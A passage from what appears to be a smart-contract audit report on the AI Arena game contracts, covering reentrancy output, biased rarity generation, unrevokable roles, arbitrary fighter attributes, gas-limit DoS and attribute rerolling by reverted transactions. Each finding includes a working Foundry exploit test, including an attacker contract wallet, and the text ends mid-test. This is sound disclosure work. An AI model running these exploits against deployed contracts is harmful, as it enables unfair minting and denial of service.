Balance of attacker (Alice) address pre-claim rewards: 1
------------------------------------------------------
Number of unclaimed rewards attacker (Alice) address has a claim to: 3
------------------------------------------------------
Balance of attacker (Alice) address post-claim rewards: 7
Non-malicious users test POC:
function testNormalEOAClaim() public {
_mintFromMergingPool(_ownerAddress);
_mintFromMergingPool(_DELEGATED_ADDRESS);
assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);
uint256[] memory _winners = new uint256[](2);
_winners[0] = 0;
_winners[1] = 1;
// winners of roundId 0 are picked
_mergingPoolContract.pickWinner(_winners);
assertEq(_mergingPoolContract.isSelectionComplete(0), true);
assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true);
// winner matches ownerOf tokenId
assertEq(_mergingPoolContract.winnerAddresses(0, 1) == _DELEGATED_ADDRESS, true);
string[] memory _modelURIs = new string[](2);
_modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
_modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
string[] memory _modelTypes = new string[](2);
_modelTypes[0] = "original";
_modelTypes[1] = "original";
uint256[2][] memory _customAttributes = new uint256[2][](2);
_customAttributes[0][0] = uint256(1);
_customAttributes[0][1] = uint256(80);
_customAttributes[1][0] = uint256(1);
_customAttributes[1][1] = uint256(80);
// winners of roundId 1 are picked
uint256 numberOfRounds = _mergingPoolContract.roundId();
console.log("Number of Rounds: ", numberOfRounds);
_mergingPoolContract.pickWinner(_winners);
console.log("Balance of owner address pre-claim rewards: ", _fighterFarmContract.balanceOf(address(this)));
console.log("Balance of delegated address pre-claim rewards: ", _fighterFarmContract.balanceOf(_DELEGATED_ADDRESS));
uint256 numRewardsForWinner = _mergingPoolContract.getUnclaimedRewards(_ownerAddress);
uint256 numRewardsForDelegated = _mergingPoolContract.getUnclaimedRewards(_DELEGATED_ADDRESS);
// emit log_uint(numRewardsForWinner);
console.log("Number of unclaimed rewards owner address has a claim to: ", numRewardsForWinner);
console.log("Number of unclaimed rewards delegated address has a claim to: ", numRewardsForDelegated);
// winner claims rewards for previous roundIds
_mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
vm.prank(_DELEGATED_ADDRESS);
_mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
console.log("Balance of owner address post-claim rewards: ", _fighterFarmContract.balanceOf(address(this)));
console.log("Balance of delegated address post-claim rewards: ", _fighterFarmContract.balanceOf(_DELEGATED_ADDRESS));
}
Non-malicious users doing a normal claim result:
[PASS] testNormalEOAClaim() (gas: 2673123)
Logs:
Number of Rounds: 1
Balance of owner address pre-claim rewards: 1
Balance of delegated address pre-claim rewards: 1
Number of unclaimed rewards owner address has a claim to: 2
Number of unclaimed rewards delegated address has a claim to: 2
Balance of owner address post-claim rewards: 3
Balance of delegated address post-claim rewards: 3
Recommended Mitigation Steps
Use a nonReentrant
modifier for the claimRewards
function.
brandinho (AI Arena) confirmed
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/6
Status: Mitigation confirmed. Full details in reports from niser93, d3e4, and fnanni.
Medium Risk Findings (9)
[M-01] Almost all rarity rank combinations cannot be, and are not uniformly, generated
Submitted by d3e4, also found by niser93 and fnanni
Only a tiny fraction, 0.0002427%, of all rarity rank combinations are possible. The probability distribution of the possible combinations (assuming the DNA is uniformly random) is not uniform: 24% of combinations are twice as likely as the rest.
Proof of Concept
AiArenaHelper.createPhysicalAttributes()
may set six finalAttributeProbabilityIndexes
using the following calculation.
uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;
uint256 attributeIndex = dnaToIndex(generation, rarityRank, attributes[i]);
finalAttributeProbabilityIndexes[i] = attributeIndex;
attributeToDnaDivisor
is by default [2, 3, 5, 7, 11, 13]
. Each rarityRank
by itself is in the range 0..99
, and ostensibly the total number of combinations of the six rarityRank
s should then be 100^6. However, only 2,427,000 different combinations are possible, which is only 0.0002427% of all combinations that should be possible.
As a function of dna
the vector of the six rarityRank
s repeats every 3,003,000 integers (=2 • 3 • 5 • 7 • 11 • 13 • 100). But it turns out that 576,000 of these appear twice. For example, a dna
of 0
or 1
yield the same combination of rarityRank
s ([0,0,0,0,0,0]
), as do 16
and 17
([8,5,3,2,1,1]
), and 22
and 23
([11,7,4,3,2,1]
), etc.
That is, about 24% of the combinations are twice as likely as the rest.
The rarityRank
s are input to dnaToIndex()
which then will also be biased and restricted in output (depending on the attribute probabilities).
Recommended Mitigation Steps
Extract multiple small random numbers by repeatedly taking the modulo and dividing. I.e.
- uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;
+ uint256 rarityRank = dna % 100;
+ dna /= 100;
Agree that
rarityRank
determination isn’t uniformly random.
[M-02] Minter / Staker / Spender roles can never be revoked
Submitted by nuthan2x, also found by 0xvj, klau5, McToady, btk, juancito, merlinboii, alexxander, sandy, favelanky, josephdara, MidgarAudits (1, 2), _eperezok, SovaSlava, lil_eth, kutugu, zaevlad, jesjupyter, shaflow2, pynschon, SpicyMeatball, 0xE1, PetarTolev, c0pp3rscr3w3r, 0xblackskull, Greed, 0xgrbr, Sabit (1, 2, 3), Tychai0s, and Timenov
From Neuron::addMinter and AccessControl::setupRole
function addMinter(address newMinterAddress) external {
require(msg.sender == _ownerAddress);
_setupRole(MINTER_ROLE, newMinterAddress);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
- Roles of minter, staker, spender can never be revoked due to missing default admin implementation. The
DEFAULT_ADMIN_ROLE
= 0x00 which is default role which is admin to all the roles, and the real contract owner should own this role, since it is not granted, the owner cannot govern the roles. - Another wrong implemnatation is using
_setupRole
to grant roles intead of using_grantRole
, because of the warnings in the library contract.
From Openzeppelin::AccessControl and AccessControl::setupRole
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
Proof of Concept
- As you can see the owner cannot revoke becasue there is no admin for that role, owner should be a default admin for all the roles granted.
[PASS] test_POC_Revoke() (gas: 72392)
Traces:
[72392] NeuronTest::test_POC_Revoke()
├─ [27181] Neuron::addMinter(NeuronTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: NeuronTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: NeuronTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← ()
├─ [0] VM::expectRevert()
│ └─ ← ()
├─ [34420] Neuron::revokeRole(0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, NeuronTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← "AccessControl: account 0x7fa9385be102ac3eac297483dd6233d62b3e1496 is missing role 0x0000000000000000000000000000000000000000000000000000000000000000"
└─ ← ()
- Now paste the below POC into test/Neuron.t.sol and run
forge t --mt test_POC_Revoke -vvvv
.
function test_POC_Revoke() external {
_neuronContract.addMinter(_ownerAddress);
vm.expectRevert();
_neuronContract.revokeRole(keccak256("MINTER_ROLE"), _ownerAddress);
}
Tools Used
Foundry
Recommended Mitigation Steps
Modify the constructor on Neuron.sol to grant default admin role to owner.
constructor(address ownerAddress, address treasuryAddress_, address contributorAddress)
ERC20("Neuron", "NRN")
{
_ownerAddress = ownerAddress;
treasuryAddress = treasuryAddress_;
isAdmin[_ownerAddress] = true;
_mint(treasuryAddress, INITIAL_TREASURY_MINT);
_mint(contributorAddress, INITIAL_CONTRIBUTOR_MINT);
+ _grantRole(DEFAULT_ADMIN_ROLE, _ownerAddress);
}
Selecting as best report because it also mentions that
_grantRole
should be used instead of_setupRole
.I’m excluding admin error in this. Simply about functionality: not being able to revoke roles might be problematic for deprecation / migration purposes.
[M-03] Fighter created by mintFromMergingPool
can have arbitrary weight and element
Submitted by ktg, also found by visualbits, d3e4, vnavascues, dutra, niser93, alexxander, denzi_, Silvermist, evmboi32, Tumelo_Crypto, givn, Blank_Space, yotov721, juancito, Matue, stakog, 0xWallSecurity, FloatingPragma, ahmedaghadi, aslanbek, agadzhalov, Topmark, immeas, _eperezok, AlexCzm, klau5, petro_1912, Tendency, BARW, peter, ke1caM, Draiakoo, McToady, 0xCiphky, 0xvj, pkqs90, cats, fnanni, rspadi, krikolkk, handsomegiraffe, Giorgio, 0xlemon, kiqo, SpicyMeatball, 0xRiO, haxatron, MrPotatoMagic, 0xDetermination, and sl1
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L313-L331
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139-L167
- Fighter created by mintFromMergingPool can have arbitrary weight and element like 0 or 2**256 - 1
- Invalid weight and element could greatly affect AI Arena battles.
Proof of Concept
When someone claim their nft rewards from MergingPool, they can input customeAttributes
and create fighters with arbitrary values since currently there is no check on customeAttributes
and it could varies from 0 to 2**256 - 1 (type(uint256).max):
function claimRewards(
string[] calldata modelURIs,
string[] calldata modelTypes,
uint256[2][] calldata customAttributes
)
external
{
....
_fighterFarmInstance.mintFromMergingPool(
msg.sender,
modelURIs[claimIndex],
modelTypes[claimIndex],
customAttributes[claimIndex]
);
....
}
function mintFromMergingPool(
address to,
string calldata modelHash,
string calldata modelType,
uint256[2] calldata customAttributes
)
public
{
require(msg.sender == _mergingPoolAddress);
_createNewFighter(
to,
uint256(keccak256(abi.encode(msg.sender, fighters.length))),
modelHash,
modelType,
0,
0,
customAttributes
);
}
This allow creating fighters with element and weight range from 0 to 2**256 - 1 and can have negative impact on AI Arena matches according to the doc here https://docs.aiarena.io/gaming-competition/nft-makeup, for example:
- Weight is described in the doc as
used to calculate how far the fighter moves when being knocked back.
. If an nft has extremely large weight like 2**256- 1, then it could never be knocked back - Element can only be one of Fire, Electricity or Water, an nft with element outside of this list could be created.
Below is a POC, save the test case to contract MergingPoolTest
under file test/MergingPool.t.sol
and run it using command:
forge test --match-path test/MergingPool.t.sol --match-test testClaimRewardsArbitraryElementAndWeight -vvvv
function testClaimRewardsArbitraryElementAndWeight() public {
_mintFromMergingPool(_ownerAddress);
_mintFromMergingPool(_DELEGATED_ADDRESS);
assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);
uint256[] memory _winners = new uint256[](2);
_winners[0] = 0;
_winners[1] = 1;
// winners of roundId 0 are picked
_mergingPoolContract.pickWinner(_winners);
assertEq(_mergingPoolContract.isSelectionComplete(0), true);
assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true);
// winner matches ownerOf tokenId
assertEq(_mergingPoolContract.winnerAddresses(0, 1) == _DELEGATED_ADDRESS, true);
string[] memory _modelURIs = new string[](2);
_modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
_modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
string[] memory _modelTypes = new string[](2);
_modelTypes[0] = "original";
_modelTypes[1] = "original";
uint256[2][] memory _customAttributes = new uint256[2][](2);
_customAttributes[0][0] = uint256(0);
_customAttributes[0][1] = uint256(type(uint256).max);
_customAttributes[1][0] = uint256(type(uint256).max);
_customAttributes[1][1] = uint256(0);
// winners of roundId 1 are picked
_mergingPoolContract.pickWinner(_winners);
// winner claims rewards for previous roundIds
_mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
// Fighter 2 has 2**256 weight and element = 0
(, ,uint256 weight , uint256 element , , , ) = _fighterFarmContract.getAllFighterInfo(2);
assertEq(weight, 2**256 - 1);
assertEq(element, 0);
// Fighter 3 has 0 weight and 2**256 element
(, , weight , element , , , ) = _fighterFarmContract.getAllFighterInfo(3);
assertEq(weight, 0);
assertEq(element, 2**256 - 1);
}
Recommended Mitigation Steps
I recommend checking customAttributes
in function mintFromMergingPool
and only restrict weight
and element
in predefined ranges. For example, weight must be in range [65, 95], element must be in range [0,2].
brandinho (AI Arena) confirmed via duplicate issue #1670
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/16
Status: Not fully mitigated. Full details in reports from fnanni and niser93 (1, 2), and also included in the Mitigation Review section below.
[M-04] DoS in MergingPool::claimRewards
function and potential DoS in RankedBattle::claimNRN
function if called after a significant amount of rounds passed
Submitted by ahmedaghadi, also found by SpicyMeatball (1, 2), btk, 0xKowalski, ktg (1, 2), 0xDetermination (1, 2), Ryonen, sl1 (1, 2), MrPotatoMagic, klau5 (1, 2, 3), vnavascues, pontifex, Nyxaris, alexzoid, inzinko, grearlake (1, 2), Honour, cu5t0mpeo, evmboi32, Avci, Greed, josephdara, VAD37, DeFiHackLabs, 0xPluto, radev_sw (1, 2), MidgarAudits, KmanOfficial, soliditywala, ladboy233, AlexCzm, jesusrod15, erosjohn, merlinboii, taner2344, Krace, ke1caM (1, 2), BigVeezus, Draiakoo, peanuts (1, 2), McToady (1, 2), Giorgio, 0x13, deadrxsezzz, SovaSlava, almurhasan (1, 2), 0xvj, _eperezok (1, 2), emrekocak, fnanni, pipidu83, y4y, jesjupyter, BARW (1, 2), djxploit, sobieski, ReadyPlayer2 (1, 2), Fitro, 0xAleko, zaevlad, GoSlang, 0xRiO, Cryptor, Kalogerone, t0x1c, nuthan2x, yovchev_yoan, and dvrkzy
The MergingPool::claimRewards
function loop through last claimed round ID to the latest round ID ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139 ):
function claimRewards(
string[] calldata modelURIs,
string[] calldata modelTypes,
uint256[2][] calldata customAttributes
)
external
{
uint256 winnersLength;
uint32 claimIndex = 0;
@-> uint32 lowerBound = numRoundsClaimed[msg.sender];
@-> for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
numRoundsClaimed[msg.sender] += 1;
winnersLength = winnerAddresses[currentRound].length;
for (uint32 j = 0; j < winnersLength; j++) {
if (msg.sender == winnerAddresses[currentRound][j]) {
_fighterFarmInstance.mintFromMergingPool(
msg.sender,
modelURIs[claimIndex],
modelTypes[claimIndex],
customAttributes[claimIndex]
);
claimIndex += 1;
}
}
}
if (claimIndex > 0) {
emit Claimed(msg.sender, claimIndex);
}
}
Also there’s another nested loop which loops through all the winners each round. Thus, it will become very expensive to claim rewards and eventually leads to block gas limit. Due to which some users may never be able to claim their rewards.
Therefore, If user try to claim their rewards after many rounds has passed then due to the above mentioned loops, it will consume a lot of gas and eventually leads to block gas limit.
Similarly, the RankedBattle::claimNRN
function loop through last claimed round ID to the latest round ID ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L294 ) :
function claimNRN() external {
require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period");
uint256 claimableNRN = 0;
uint256 nrnDistribution;
@-> uint32 lowerBound = numRoundsClaimed[msg.sender];
@-> for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
nrnDistribution = getNrnDistribution(currentRound);
claimableNRN += (
accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution
) / totalAccumulatedPoints[currentRound];
numRoundsClaimed[msg.sender] += 1;
}
if (claimableNRN > 0) {
amountClaimed[msg.sender] += claimableNRN;
_neuronInstance.mint(msg.sender, claimableNRN);
emit Claimed(msg.sender, claimableNRN);
}
}
Although, it’s relatively difficult to reach the block gas limit in claimNRN
function as compared to claimRewards
function, but still it’s possible.
Proof of Concept
For claimRewards
function, Add the below function in MergingPool.t.sol
:
function testClaimRewardsDOS() public {
address user1 = vm.addr(1);
address user2 = vm.addr(2);
address user3 = vm.addr(3);
_mintFromMergingPool(user1);
_mintFromMergingPool(user2);
_mintFromMergingPool(user3);
uint offset = 35;
uint totalWin = 9;
uint256[] memory _winnersGeneral = new uint256[](2);
_winnersGeneral[0] = 0;
_winnersGeneral[1] = 1;
uint256[] memory _winnersUser = new uint256[](2);
_winnersUser[0] = 0;
_winnersUser[1] = 2;
for (uint i = 0; i < offset * totalWin; i++) {
if (i % offset == 0) {
_mergingPoolContract.pickWinner(_winnersUser);
} else {
_mergingPoolContract.pickWinner(_winnersGeneral);
}
}
string[] memory _modelURIs = new string[](totalWin);
string[] memory _modelTypes = new string[](totalWin);
uint256[2][] memory _customAttributes = new uint256[2][](totalWin);
for (uint i = 0; i < totalWin; i++) {
_modelURIs[
i
] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
_modelTypes[i] = "original";
_customAttributes[i][0] = uint256(1);
_customAttributes[i][1] = uint256(80);
}
vm.prank(user3);
uint gasBefore = gasleft();
_mergingPoolContract.claimRewards(
_modelURIs,
_modelTypes,
_customAttributes
);
uint gasAfter = gasleft();
uint gasDiff = gasBefore - gasAfter;
emit log_uint(gasDiff);
uint256 numRewards = _mergingPoolContract.getUnclaimedRewards(user3);
assertEq(numRewards, 0);
assertGt(gasDiff, 4_000_000);
}
You can run the test by:
forge test --mt testClaimRewardsDOS -vv
Here I had considered 3 users, user1, user2, and user3. After each offset
rounds, I picked user3
as a winner. There were total of 315 ( offset
* totalWin
) rounds passed and user3
won in 9 of them. Then I tried to claim rewards for user3
and it consumed more than 4M gas.
Also the more the round in which user3
has won, the more gas it will consume. Even if offset
is 1 and totalWin
is 9 ( i.e total of 9 rounds out of which user3
won in 9 of them ), it will consume more than 3.4M gas.
Also, we’ve considered only 2 winners per round, as the number of winners increases, the gas consumption will also increase due to the nested loop which loops through all the winners each round.
So if any user claim their rewards after many rounds has passed or if they have won in many rounds, it will consume a lot of gas and eventually leads to block gas limit.
For claimNRN
function, Add the below function in RankedBattle.t.sol
:
function testClaimNRNDoS() public {
_neuronContract.addSpender(address(_gameItemsContract));
_gameItemsContract.instantiateNeuronContract(address(_neuronContract));
_gameItemsContract.createGameItem(
"Battery",
"https://ipfs.io/ipfs/",
true,
true,
10_000,
1 * 10 ** 18,
type(uint16).max
);
_gameItemsContract.setAllowedBurningAddresses(
address(_voltageManagerContract)
);
address staker = vm.addr(3);
_mintFromMergingPool(staker);
vm.prank(_treasuryAddress);
_neuronContract.transfer(staker, 400_000 * 10 ** 18);
vm.prank(staker);
_rankedBattleContract.stakeNRN(30_000 * 10 ** 18, 0);
assertEq(_rankedBattleContract.amountStaked(0), 30_000 * 10 ** 18);
address claimee = vm.addr(4);
_mintFromMergingPool(claimee);
vm.prank(_treasuryAddress);
_neuronContract.transfer(claimee, 400_000 * 10 ** 18);
vm.prank(claimee);
_rankedBattleContract.stakeNRN(40_000 * 10 ** 18, 1);
assertEq(_rankedBattleContract.amountStaked(1), 40_000 * 10 ** 18);
uint offset = 35;
uint totalWin = 9;
for (uint i = 0; i < offset * totalWin; i++) {
// 0 win
// 1 tie
// 2 loss
if (i % offset == 0) {
uint256 currentVoltage = _voltageManagerContract.ownerVoltage(
claimee
);
if (currentVoltage < 100) {
vm.prank(claimee);
_gameItemsContract.mint(0, 1); //paying 1 $NRN for 1 batteries
vm.prank(claimee);
_voltageManagerContract.useVoltageBattery();
}
vm.prank(address(_GAME_SERVER_ADDRESS));
_rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
} else {
uint256 currentVoltage = _voltageManagerContract.ownerVoltage(
staker
);
if (currentVoltage < 100) {
vm.prank(staker);
_gameItemsContract.mint(0, 1); //paying 1 $NRN for 1 batteries
vm.prank(staker);
_voltageManagerContract.useVoltageBattery();
}
vm.prank(address(_GAME_SERVER_ADDRESS));
_rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
}
_rankedBattleContract.setNewRound();
}
uint256 gasBefore = gasleft();
vm.prank(claimee);
_rankedBattleContract.claimNRN();
uint256 gasAfter = gasleft();
uint256 gasDiff = gasBefore - gasAfter;
emit log_uint(gasDiff);
assertGt(gasDiff, 1_000_000);
}
You can run the test by:
forge test --mt testClaimNRNDoS -vv
In the case of claimNRN
function, it consumed more than 1M gas which is relatively less as compared to claimRewards
function. But still it has potential to reach block gas limit.
Even for the users for whom these both functions doesn’t reach block gas limit, it can be very expensive and difficult for them to claim their rewards if some rounds has passed.
Tools Used
Foundry
Recommended Mitigation Steps
It can be fixed by adding a parameter for the number of rounds to consider.
For claimRewards
function, so the changes would look like:
function claimRewards(
string[] calldata modelURIs,
string[] calldata modelTypes,
- uint256[2][] calldata customAttributes
+ uint256[2][] calldata customAttributes,
+ uint32 totalRoundsToConsider
)
external
{
uint256 winnersLength;
uint32 claimIndex = 0;
uint32 lowerBound = numRoundsClaimed[msg.sender];
+ require(lowerBound + totalRoundsToConsider < roundId, "MergingPool: totalRoundsToConsider exceeds the limit");
- for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
+ for (uint32 currentRound = lowerBound; currentRound < lowerBound + totalRoundsToConsider; currentRound++) {
numRoundsClaimed[msg.sender] += 1;
winnersLength = winnerAddresses[currentRound].length;
for (uint32 j = 0; j < winnersLength; j++) {
if (msg.sender == winnerAddresses[currentRound][j]) {
_fighterFarmInstance.mintFromMergingPool(
msg.sender,
modelURIs[claimIndex],
modelTypes[claimIndex],
customAttributes[claimIndex]
);
claimIndex += 1;
}
}
}
if (claimIndex > 0) {
emit Claimed(msg.sender, claimIndex);
}
}
For claimNRN
function, so the changes would look like:
- function claimNRN() external {
+ function claimNRN(uint32 totalRoundsToConsider) external {
require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period");
uint256 claimableNRN = 0;
uint256 nrnDistribution;
uint32 lowerBound = numRoundsClaimed[msg.sender];
+ require(lowerBound + totalRoundsToConsider < roundId, "RankedBattle: totalRoundsToConsider exceeds the limit");
- for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
+ for (uint32 currentRound = lowerBound; currentRound < lowerBound + totalRoundsToConsider; currentRound++) {
nrnDistribution = getNrnDistribution(currentRound);
claimableNRN += (
accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution
) / totalAccumulatedPoints[currentRound];
numRoundsClaimed[msg.sender] += 1;
}
if (claimableNRN > 0) {
amountClaimed[msg.sender] += claimableNRN;
_neuronInstance.mint(msg.sender, claimableNRN);
emit Claimed(msg.sender, claimableNRN);
}
}
brandinho (AI Arena) confirmed
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/12
Status: Mitigation confirmed. Full details in reports from niser93, fnanni, and d3e4.
[M-05] Can mint NFT with the desired attributes by reverting transaction
Submitted by klau5, also found by klau5, visualbits, thank_you, dutra, d3e4 (1, 2), andywer, 0xkaju, PedroZurdo, shaka, honey-k12, Matue, favelanky, 0xDetermination (1, 2), BoRonGod, bgsmallerbear, 0xGreyWolf (1, 2), soliditywala, PUSH0, Tumelo_Crypto, Blank_Space, korok, Greed, givn (1, 2), grearlake, evmboi32, juancito, VAD37, dimulski, DanielArmstrong, gesha17, 0xgrbr, FloatingPragma (1, 2), n0kto, 0xaghas, MidgarAudits, 0xBinChook, Zac, Tricko, alexzoid (1, 2), immeas, AlexCzm, 0xLogos, ni8mare, peter, 0xWallSecurity, WoolCentaur, 0xlyov, forkforkdog, ke1caM, Draiakoo, McToady, web3pwn, peanuts, kaveyjoe, cats, lsaudit, tallo, Tekken, Silvermist, lil_eth, desaperh, Jorgect, niser93, erosjohn (1, 2, 3), fnanni, BARW (1, 2, 3), pa6kuda (1, 2, 3, 4), t0x1c, solmaxis69, yotov721, SpicyMeatball, PoeAudits, Daniel526, iamandreiski (1, 2), tpiliposian, kiqo, aslanbek, haxatron, 0rpse, sl1, Giorgio, vnavascues, Nyxaris, and Pelz
All the attributes of the NFT that should be randomly determined are set in the same transaction which they’re claimed. Therefore, if a user uses a contract wallet, they can intentionally revert the transaction and retry minting if they do not get the desired attribute.
function _createNewFighter(
address to,
uint256 dna,
string memory modelHash,
string memory modelType,
uint8 fighterType,
uint8 iconsType,
uint256[2] memory customAttributes
)
private
{
require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
uint256 element;
uint256 weight;
uint256 newDna;
if (customAttributes[0] == 100) {
@> (element, weight, newDna) = _createFighterBase(dna, fighterType);
}
else {
element = customAttributes[0];
weight = customAttributes[1];
newDna = dna;
}
uint256 newId = fighters.length;
bool dendroidBool = fighterType == 1;
@> FighterOps.FighterPhysicalAttributes memory attrs = _aiArenaHelperInstance.createPhysicalAttributes(
newDna,
generation[fighterType],
iconsType,
dendroidBool
);
fighters.push(
FighterOps.Fighter(
weight,
element,
attrs,
newId,
modelHash,
modelType,
generation[fighterType],
iconsType,
dendroidBool
)
);
@> _safeMint(to, newId);
FighterOps.fighterCreatedEmitter(newId, weight, element, generation[fighterType]);
}
function _createFighterBase(
uint256 dna,
uint8 fighterType
)
private
view
returns (uint256, uint256, uint256)
{
uint256 element = dna % numElements[generation[fighterType]];
uint256 weight = dna % 31 + 65;
uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
return (element, weight, newDna);
}
Proof of Concept
First, add the PoCCanClaimSpecificAttributeByRevert
contract at the bottom of the FighterFarm.t.sol file. This contract represents a user-customizable contract wallet. If the user does not get an NFT with desired attributes, they can revert the transaction and retry minting again.
contract PoCCanClaimSpecificAttributeByRevert {
FighterFarm fighterFarm;
address owner;
constructor(FighterFarm _fighterFarm) {
fighterFarm = _fighterFarm;
owner = msg.sender;
}
function tryClaim(uint8[2] memory numToMint, bytes memory claimSignature, string[] memory claimModelHashes, string[] memory claimModelTypes) public {
require(msg.sender == owner, "not owner");
try fighterFarm.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes) {
// success to get specific attribute NFT
} catch {
// try again next time
}
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) public returns (bytes4){
(,,uint256 weight,,,,) = fighterFarm.getAllFighterInfo(tokenId);
require(weight == 95, "I don't want this attribute");
return bytes4(keccak256(bytes("onERC721Received(address,address,uint256,bytes)")));
}
}
Then, add this test to the FighterFarm.t.sol file and run it.
function testPoCCanClaimSpecificAttributeByRevert() public {
uint256 signerPrivateKey = 0xabc123;
address _POC_DELEGATED_ADDRESS = vm.addr(signerPrivateKey);
// setup fresh setting to use _POC_DELEGATED_ADDRESS
_fighterFarmContract = new FighterFarm(_ownerAddress, _POC_DELEGATED_ADDRESS, _treasuryAddress);
_helperContract = new AiArenaHelper(_probabilities);
_mintPassContract = new AAMintPass(_ownerAddress, _POC_DELEGATED_ADDRESS);
_mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
_mintPassContract.setPaused(false);
_gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);
_voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));
_neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);
_rankedBattleContract = new RankedBattle(
_ownerAddress, address(_fighterFarmContract), _POC_DELEGATED_ADDRESS, address(_voltageManagerContract)
);
_rankedBattleContract.instantiateNeuronContract(address(_neuronContract));
_mergingPoolContract =
new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));
_fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
_fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
_fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
_fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
_fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
// --- PoC start ---
address attacker_eoa = address(0x1337);
vm.prank(attacker_eoa);
PoCCanClaimSpecificAttributeByRevert attacker_contract_wallet = new PoCCanClaimSpecificAttributeByRevert(_fighterFarmContract);
uint8[2] memory numToMint = [1, 0];
string[] memory claimModelHashes = new string[](1);
claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
string[] memory claimModelTypes = new string[](1);
claimModelTypes[0] = "original";
// get sign
vm.startPrank(_POC_DELEGATED_ADDRESS);
bytes32 msgHash = keccak256(abi.encode(
address(attacker_contract_wallet),
numToMint[0],
numToMint[1],
0, // nftsClaimed[msg.sender][0],
0 // nftsClaimed[msg.sender][1]
));
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, msgHash));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, prefixedHash);
bytes memory claimSignature = abi.encodePacked(r, s, v);
vm.stopPrank();
for(uint160 i = 100; _fighterFarmContract.balanceOf(address(attacker_contract_wallet)) == 0; i++){
vm.prank(attacker_eoa);
attacker_contract_wallet.tryClaim(numToMint, claimSignature, claimModelHashes, claimModelTypes);
